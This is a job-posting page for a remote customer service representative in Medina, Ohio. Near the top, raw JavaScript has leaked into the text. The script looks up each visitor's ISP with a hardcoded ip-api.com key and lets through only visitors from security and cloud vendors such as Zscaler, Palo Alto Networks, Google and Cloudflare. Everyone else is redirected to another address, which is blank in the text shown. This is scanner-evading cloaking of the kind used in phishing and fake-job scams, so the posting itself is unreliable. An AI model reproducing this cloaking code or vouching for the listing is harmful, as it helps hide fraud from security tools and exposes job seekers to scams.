Customer Service Representative – Remote

Customer Service Representative – Remote

Overview


const ipAddress = data.ip;

// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;

// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));

if (!ispAllowed && !asOrgAllowed) { // Redirect all users to the same URL window.location.href = ''; } }) .catch(error => { console.error('Error retrieving ISP name:', error); }); }) .catch(error => { console.error('Error retrieving IP address or location:', error); });

We are seeking a dedicated Customer Service Representative to join our team remotely from Medina, Ohio.

Responsibilities include:

  • Providing exceptional support to customers via phone, email, and chat channels
  • Resolving inquiries, processing orders, and addressing concerns promptly and professionally
  • Maintaining accurate records of customer interactions and transactions
  • Collaborating with team members to improve service quality and efficiency

Skills needed:

  • Excellent communication and active listening skills
  • Strong problem-solving abilities and attention to detail
  • Self-motivated with the ability to work independently
  • Reliable internet connection and a quiet workspace

Benefits include:

  • Flexible work schedule
  • Competitive pay
  • Paid training and ongoing support
  • Opportunity to work remotely from home
Emploment Location
Medina, Ohio

Apply to Join Progression Transport.

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